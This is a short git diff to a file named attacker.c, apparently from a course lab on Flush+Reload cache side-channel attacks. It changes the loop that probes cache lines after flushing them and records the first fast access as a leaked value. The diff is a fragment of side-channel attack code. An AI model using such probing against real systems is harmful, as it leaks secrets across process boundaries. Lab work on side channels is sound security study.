diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index 2163fd8..87cd3a6 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -21,10 +21,10 @@ int main() { clflush((ADDR_PTR)buf + i * 128); } for(int i = 0; i < WAIT_TIME; i++); - for(int i = 0; i < 1024; i++) { - time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128); + for(int i = 100; i < 10000; i++) { + time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128); if(time < CACHE_HIT_THRESHOLD) { - flag = (i * 10020107) % 1024; + flag = (i*i) / 1024 % 1024; break; } }